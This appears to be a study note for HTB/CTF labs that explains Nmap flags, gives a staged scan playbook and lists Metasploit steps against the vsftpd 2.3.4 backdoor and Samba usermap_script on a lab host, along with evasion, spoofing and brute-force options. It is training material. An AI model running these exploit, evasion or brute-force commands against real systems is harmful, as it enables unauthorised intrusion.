HTB Academy - Get started

🎯 Objective

Build a practical, deep understanding of the Nmap flags you actually use during HTB/CTF and real engagements, then connect them to post-enumeration (e.g., vsftpd 2.3.4 backdoor and Samba usermap_script RCE).

🧭 Scan Strategy (TL;DR)

Phase 1 (fast discovery):

nmap -sn 10.10.10.0/24              # host discovery only
nmap -p- --min-rate 2000 -T4 -n -Pn 10.10.10.3

Phase 2 (fingerprint & scripts):

nmap -sV -sC -p <ports> -T4 -n --reason 10.10.10.3

Phase 3 (deeper / UDP / evasion as needed):

nmap -sU --top-ports 200 --open -n -T3 10.10.10.3
nmap -p <ports> --script "safe,default,vuln" -T3 10.10.10.3

🔍 Flags Deep Dive (what they do, when to use)

Target & Ports

• -p: Port spec.
  • Ranges/lists: -p 1-65535, -p- (all TCP), -p 21,22,80,443
  • Service lists: --top-ports 100 (most common TCP); -sU --top-ports 200 for UDP.
• -Pn: Treat hosts as up; skip host discovery (useful behind firewalls/ICMP blocked).
• -n: No DNS resolution (faster; fewer leaks).
• -R: Always resolve DNS (rarely needed; slower).

Scan Types (privileged vs unprivileged)

• -sS: SYN/half‑open scan (fast, stealthier; root/admin needed).
• -sT: TCP connect() (user‑mode fallback; noisier, slower).
• -sU: UDP scan (slow; use --top-ports, --min-rate, or target likely services e.g., 53/161).
• -sA, -sW, -sM: ACK/window/Maimon (firewall mapping/ACL inference).

Service/Version/OS/“Aggressive”

• -sV: Version detection (active probing). Tune with:
  • --version-intensity 0..9 (0 = light; 9 = thorough), --version-trace (see probes).
• -O: OS detection (requires multiple open/closed ports to be reliable).
• -A: “Aggressive”: OS + version + scripts (default) + traceroute. Great for single hosts, noisy for wide scans.

NSE (Nmap Scripting Engine)

• -sC: Shortcut for --script=default (safe recon + common vulns/info).
• --script=<cats|names|globs>: e.g., --script "safe,default,vuln", or --script ftp-anon,ftp-*.
• --script-args: Pass inputs to scripts, e.g., --script-args userdb=users.txt,passdb=pw.txt for brute scripts.

Timing/Performance/Noise

• -T0..5 timing templates:
  • T0 Paranoid (IDS evasion, very slow)
  • T1 Sneaky
  • T2 Polite
  • T3 Normal (default)
  • T4 Aggressive (common in labs; faster, fewer retries)
  • T5 Insane (unreliable in real networks)
• Rate/Parallelism (surgical speedups):
  • --min-rate 2000 (try to send ≥ N pkt/s), --max-rate
  • --min-parallelism, --max-retries, --host-timeout 30m
  • --defeat-rst-ratelimit (when SYN scans get throttled).

Host Discovery (ping scan)

• -sn: Discovery only (no ports).
• ICMP/TCP/UDP pings: -PE (ICMP echo), -PP (timestamp), -PM (mask), -PS80,443 (TCP SYN ping), -PA80,443 (TCP ACK), -PU53,161 (UDP ping), -PR (ARP on local LAN).

Output & Explainability

• -oN normal, -oG greppable, -oX XML, -oA all three prefix.
• -v/-vv verbosity; -d debug; --reason why Nmap thinks state=open/closed; --open show only open ports; --packet-trace raw packets.

Evasion & Spoofing (use prudently)

• -f fragment packets, --mtu 24 custom MTU (may break).
• -D decoy1,decoy2,ME decoys, -S <spoof_ip>, -e <iface>, -g 53 source port tricks, --data-length N, --badsum.

🧪 Practical Playbook (with your example)

1) Full TCP sweep then fingerprint

# All TCP ports quickly, treat host as up, no DNS
nmap -p- --min-rate 2000 -T4 -n -Pn 10.10.10.3 -oA tcp_full

# Fingerprint discovered ports with light scripts + versions
nmap -sC -sV -p $(grep -oP '\d+/tcp\s+open' tcp_full.nmap | cut -d/ -f1 | tr '\n' ',' | sed 's/,$//')      -n -T4 --reason 10.10.10.3 -oA tcp_fingerprint

2) UDP (targeted)

nmap -sU --top-ports 200 --open -n -T3 10.10.10.3 -oA udp_top

3) Service‑specific NSE to confirm vulns

vsftpd 2.3.4 indicator + FTP NSE:

nmap -p21 -sV --version-intensity 9 --script "ftp-anon,ftp-* and not brute" 10.10.10.3
# (Optionally) banner‑grab:  nc -nv 10.10.10.3 21

Samba enumeration:

nmap -p139,445 -sV --script "smb-os-discovery,smb-enum-shares,smb-enum-users" 10.10.10.3

🧨 Exploit Follow‑Up (what your notes describe)

A) vsftpd 2.3.4 backdoor (CVE-2011-2523)

• Symptom: Nmap/Wappalyzer shows vsftpd 2.3.4 on 21/tcp.
• Quirk: The public backdoor triggers when a username contains :) and opens a shell on 6200/tcp. Many modern images are patched or not exploitable.
• MSF path:

use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 10.10.10.3
run

• If it fails: verify banner manually, check for chrooted wrappers, test reachability of 6200/tcp, or move on.

B) Samba 3.0.20 usermap_script (CVE-2007-2447)

• Symptom: smbd 3.0.20* on 139/445 and NULL session or guest exposure.
• MSF path:

use exploit/multi/samba/usermap_script
set RHOSTS 10.10.10.3
run

• Manual triage tips: smbclient -L //10.10.10.3 -N, rpcclient -U "" 10.10.10.3, and NSE (enum shares/users).

Reality check: Nmap -sV can misread banners or show “likely”. Always confirm: banner‑grab, check changelogs, and try multiple vectors (NSE + manual) before assuming exploitable.

🛡️ Pitfalls & Tuning Notes

• -T4 is fine in labs; in fragile networks use -T2/-T3 and rate limits.
• -p- + -sV on WAN links can be slow—separate discovery and fingerprinting.
• UDP is noisy/slow—prioritize --top-ports, or pin to likely services.
• -A is convenient but noisy; prefer building blocks (-sV -sC -O) when stealth matters.
• Use -oA always for artifacts & repeatability.

✅ Quick Reference (copy/paste)

# All TCP quickly + treat as up
nmap -p- --min-rate 2000 -T4 -n -Pn <ip>

# Fingerprint + default scripts
nmap -sC -sV -p <ports> -T4 -n --reason <ip>

# UDP top ports
nmap -sU --top-ports 200 --open -n -T3 <ip>

# SMB deep enum
nmap -p139,445 -sV --script "smb-os-discovery,smb-enum-*,vuln" <ip>

# Only open ports in output
nmap --open -p- -T4 -n <ip>

# Clean outputs
nmap ... -oA <basename>

🧠 Takeaways

• Split scans into discovery → fingerprint → targeted NSE.
• Know when to trade speed for accuracy (-T, rate, retries).
• Confirm vulnerabilities with multiple signals (NSE + manual) before exploiting.
• Capture artifacts (-oA) so you can re‑parse results any time.